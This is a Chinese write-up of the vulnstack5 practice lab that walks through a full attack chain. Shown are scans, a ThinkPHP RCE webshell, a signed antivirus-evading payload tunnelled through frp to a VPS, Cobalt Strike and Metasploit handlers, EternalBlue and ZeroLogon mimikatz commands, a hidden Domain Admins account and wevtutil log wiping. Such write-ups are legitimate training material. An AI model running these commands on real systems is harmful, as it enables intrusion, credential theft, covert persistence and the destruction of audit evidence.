红日靶场五（vulnstack5）渗透分析

环境搭建

win7
192.168.111.132（仅主机）
192.168.123.212（桥接）
.\heart p-0p-0p-0win2008 ip:
192.168.111.131（仅主机）
sun\admin 2020.comkali ip:
192.168.10.131（nat）vps：
101.42.**.**

用本地管理员heart登录并开启phpstudy

这里配置的原因是让kali可以访问win7，win7访问不了kali，模拟win7外网的环境和kali内网的环境

getshell

sudo nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 512 --host-timeout 30 -T3 -v -oG result.txt --script http-methods --script-args http.useragent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0"  10.133.10.135 -p 0-65535

Discovered open port 110/tcp on 10.133.10.135
Discovered open port 139/tcp on 10.133.10.135
Discovered open port 3306/tcp on 10.133.10.135
Discovered open port 135/tcp on 10.133.10.135
Discovered open port 80/tcp on 10.133.10.135
Discovered open port 445/tcp on 10.133.10.135
Discovered open port 25/tcp on 10.133.10.135
Discovered open port 49152/tcp on 10.133.10.135
Discovered open port 49153/tcp on 10.133.10.135
Discovered open port 49154/tcp on 10.133.10.135

访问80页面发现一个thinkphp框架的首页，工具扫描RCE

一键getshell
http://10.133.10.135/peiqi.php   Pass:peiqi

后渗透

将kali通过frp到vps端口，并生成免杀exe，蚁剑上传执行

 python 签名.py -i D:\Huorong\Sysdiag\bin\HipsMain.exe -t UUIDtoShell.exe -o qm.exe

上线cs，发现为heart用户，管理员权限，svc提权到system，抓取hash和明文，没有发现有用的域用户信息

net view
ipconfig /all

发现主机dc：192.168.111.131 ,以及内网网卡192.168.111.132

开启socks代理，通过fscan扫描内网111网段

proxychains4  ./fscan -h 192.168.111.0/24

192.168.111.131 MS17-010

192.168.111.131:445 open
192.168.111.131:135 open
192.168.111.131:139 open
192.168.111.131:88 open

存在永恒之蓝，将cs转到msf

新建cs监听器，spawn msf/新建会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 127.0.0.1
set lport 4566
run

修改frp端口，增加4566为监听端口

[cs->msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4566
remote_port = 4566

上线msf，开代理

setg Proxies socks5:127.0.0.1:8899
setg ReverseAllowProxy true

MS17-010

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.111.131
runuse exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.111.131
run

失败了

CVE-2020-1472-ZeroLogon

mimikatz lsadump::zerologon /target:dc.sun.com /account:dc$
mimikatz lsadump::zerologon /target:dc.sun.com /account:dc$ /exploit
mimikatz lsadump::dcsync /domain:sun.com /dc:dc.sun.com /user:administrator /authuser:dc$ /authdomain:sun.com /authpassword:"" /authntlm
mimikatz lsadump::postzerologon /target:sun.com /account:dc$
#恢复密码，没有权限，可以先打到域控再复原

sun.com\Administrator 9099d68602a60f007c227c4fa95fada6
md5解密：p-0p-0p-0

这里dc不出网，fscan扫描到开启了445端口，直接smb上线

权限维持

创建影子账户
net user coleak$ p-0p-0p-0 /add
net localgroup administrators coleak$ /add
net group "Domain Admins" coleak$ /add /domain
net users

痕迹清理

wevtutil cl security	//清理安全日志
wevtutil cl system		//清理系统日志
wevtutil cl application		//清理应用程序日志
wevtutil cl "windows powershell"	//清除power shell日志
wevtutil cl Setup